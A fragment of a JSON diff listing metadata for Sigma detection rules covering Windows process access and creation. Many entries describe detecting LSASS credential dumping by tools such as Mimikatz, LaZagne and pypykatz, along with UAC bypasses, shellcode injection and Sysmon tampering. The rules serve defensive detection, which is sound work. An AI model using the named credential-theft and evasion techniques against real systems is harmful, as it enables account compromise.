"2022/03/11", + "falsepositive": [ + "Empire's csharp_exe payload uses 0x1f3fff for process enumeration as well" + ], + "filename": "process_access_win_shellcode_inject_msf_empire.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_shellcode_inject_msf_empire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", + "value": "Shellcode Injection" + }, + { + "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", + "meta": { + "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", + "creation_date": "2022/06/29", + "falsepositive": [ + "Unknown" + ], + "filename": "process_access_win_susp_seclogon.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", + "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", + "value": "Suspicious LSASS Access Via MalSecLogon" + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "meta": { + "author": "Nik Seetharaman", + "creation_date": "2018/07/16", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "filename": "proc_access_win_cmstp_execution_by_access.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003", + "attack.execution", + "attack.t1559.001", + "attack.g0069", + "attack.g0080", + "car.2019-04-001" + ] + }, + "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", + "value": "CMSTP Execution Process Access" + }, + { + "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/boku7/injectAmsiBypass", + "https://github.com/boku7/spawn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", + "value": "CobaltStrike BOF Injection Pattern" + }, + { + "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", + "meta": { + "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", + "creation_date": "2017/02/16", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; please add more filters" + ], + "filename": "proc_access_win_cred_dump_lsass_access.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002", + "car.2019-04-004" + ] + }, + "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", + "value": "Credential Dumping Tools Accessing LSASS Memory" + }, + { + "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", + "meta": { + "author": "Christian Burkard, Tim Shelton", + "creation_date": "2021/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ] + }, + "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", + "value": "Direct Syscall of NtOpenProcess" + }, + { + "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_hack_sysmonente.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", + "https://github.com/codewhitesec/SysmonEnte/", + "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", + "value": "SysmonEnte Usage" + }, + { + "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", + "meta": { + "author": "Bhabesh Raj (rule), @thefLinkk", + "creation_date": "2022/06/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_handlekatz_lsass_access.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1003.001" + ] + }, + "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", + "value": "HandleKatz Duplicating LSASS Handle" + }, + { + "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", + "meta": { + "author": "Tim Burrell", + "creation_date": "2020/01/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_invoke_phantom.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/hlldz/Invoke-Phant0m", + "https://twitter.com/timbmsft/status/900724491076214784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", + "value": "Suspect Svchost Memory Asccess" + }, + { + "description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\nAn example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\nit will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\nAdding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\nmost of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\nThe latter should also be considered suspicious.\n", + "meta": { + "author": "Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/10/27", + "falsepositive": [ + "SysInternals Process Explorer" + ], + "filename": "proc_access_win_in_memory_assembly_execution.yml", + "level": "low", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055.001", + "attack.t1055.002" + ] + }, + "uuid": "5f113a8f-8b61-41ca-b90f-d374fa7e4a39", + "value": "Suspicious In-Memory Module Execution" + }, + { + "description": "Detects LSASS process access by LaZagne for credential dumping.", + "meta": { + "author": "Bhabesh Raj, Jonhnathan Ribeiro", + "creation_date": "2020/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", + "level": "critical", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/bh4b3sh/status/1303674603819081728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0349" + ] + }, + "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", + "value": "Credential Dumping by LaZagne" + }, + { + "description": "Detects the process injection of a LittleCorporal generated Maldoc.", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/connormcgarr/LittleCorporal", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1055.003" + ] + }, + "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", + "value": "LittleCorporal Generated Maldoc Injection" + }, + { + "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", + "meta": { + "author": "oscd.community, Dmitry Uchakin", + "creation_date": "2020/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", + "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", + "value": "Load Undocumented Autoelevated COM Interface" + }, + { + "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", + "level": "critical", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", + "value": "Lsass Memory Dump via Comsvcs DLL" + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "meta": { + "author": "Samir Bousseaden, Michael Haag", + "creation_date": "2019/04/03", + "falsepositive": [ + "False positives are present when looking for 0x1410. Exclusions may be required." + ], + "filename": "proc_access_win_lsass_memdump.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", + "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", + "value": "LSASS Memory Dump" + }, + { + "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/10", + "falsepositive": [ + "Unlikely, since these tools shouldn't access lsass.exe at all" + ], + "filename": "proc_access_win_lsass_memdump_evasion.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", + "value": "LSASS Access from White-Listed Processes" + }, + { + "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/10", + "falsepositive": [ + "Rare programs that contain the word dump in their name and access lsass" + ], + "filename": "proc_access_win_lsass_memdump_indicators.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", + "value": "LSASS Memory Access by Tool Named Dump" + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "meta": { + "author": "Florian Roth", + "creation_date": "2012/06/27", + "falsepositive": [ + "Actual failures in lsass.exe that trigger a crash dump (unlikely)", + "Unknown cases in which WerFault accesses lsass.exe" + ], + "filename": "proc_access_win_lsass_werfault.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", + "value": "WerFault Accassing LSASS" + }, + { + "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", + "meta": { + "author": "John Lambert (tech), Florian Roth (rule)", + "creation_date": "2017/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_malware_verclsid_shellcode.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/837743453039534080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", + "value": "Malware Shellcode in Verclsid Target Process" + }, + { + "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", + "meta": { + "author": "Patryk Prauze - ING Tech", + "creation_date": "2019/05/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_access_win_mimikatz_trough_winrm.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006", + "attack.s0002" + ] + }, + "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", + "value": "Mimikatz through Windows Remote Management" + }, + { + "description": "Detects LSASS process access by pypykatz for credential dumping.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/08/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", + "level": "critical", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", + "value": "Credential Dumping by Pypykatz" + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/13", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "filename": "proc_access_win_rare_proc_access_lsass.yml", + "level": "medium", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", + "value": "Rare GrantedAccess Flags on LSASS Access" + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/22", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "filename": "proc_access_win_susp_proc_access_lsass.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", + "value": "Suspicious GrantedAccess Flags on LSASS Access" + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/27", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ] + }, + "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", + "value": "LSASS Access from Program in Suspicious Folder" + }, + { + "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", + "meta": { + "author": "Florent Labouyrie", + "creation_date": "2021/04/30", + "falsepositive": [ + "Non identified legit exectubale" + ], + "filename": "proc_access_win_svchost_cred_dump.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" + ], + "tags": [ + "attack.t1548" + ] + }, + "uuid": "174afcfa-6e40-4ae9-af64-496546389294", + "value": "SVCHOST Credential Dump" + }, + { + "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_access_win_uac_bypass_wow64_logger.yml", + "level": "high", + "logsource.category": "process_access", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", + "value": "UAC Bypass Using WOW64 Logger DLL Hijack" + }, + { + "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", + "meta": { + "author": "frack113", + "creation_date": "2022/04/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_7zip_cve_2022_29072.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/kagancapar/CVE-2022-29072", + "https://twitter.com/kagancapar/status/1515219358234161153", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" + ], + "tags": [ + "cve.2022.29072" + ] + }, + "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", + "value": "Suspicious 7zip Subprocess" + }, + { + "description": "Detection of unusual child processes by different system processes", + "meta": { + "author": "Semanur Guneysu @semanurtg, oscd.community", + "creation_date": "2020/10/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_abusing_debug_privilege.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", + "value": "Abused Debug Privilege by Arbitrary Parent Processes" + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", + "meta": { + "author": "Sreeman", + "creation_date": "2020/09/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ] + }, + "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", + "value": "Abusing Windows Telemetry For Persistence" + }, + { + "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", + "creation_date": "2020/10/13", + "falsepositive": [ + "System administrator Usage" + ], + "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", + "value": "Accesschk Usage To Check Privileges" + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "meta": { + "author": "@ROxPinTeddy, Nasreddine Bencherchali @nas_bench", + "creation_date": "2020/05/12", + "falsepositive": [ + "Legitimate administrative use" + ], + "filename": "proc_creation_win_advanced_ip_scanner.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ] + }, + "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", + "value": "Advanced IP Scanner" + }, + { + "description": "Detects the use of Advanced Port Scanner.", + "meta": { + "author": "Nasreddine Bencherchali @nas_bench", + "creation_date": "2021/12/18", + "falsepositive": [ + "Legitimate administrative use", + "Tools with similar commandline (very rare)" + ], + "filename": "proc_creation_win_advanced_port_scanner.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ] + }, + "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", + "value": "Advanced Port Scanner" + }, + { + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", + "meta": { + "author": "frack113", + "creation_date": "2021/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_alternate_data_streams.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", + "value": "Execute From Alternate Data Streams" + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", + "meta": { + "author": "Teymur Kheirkhabarov (idea), 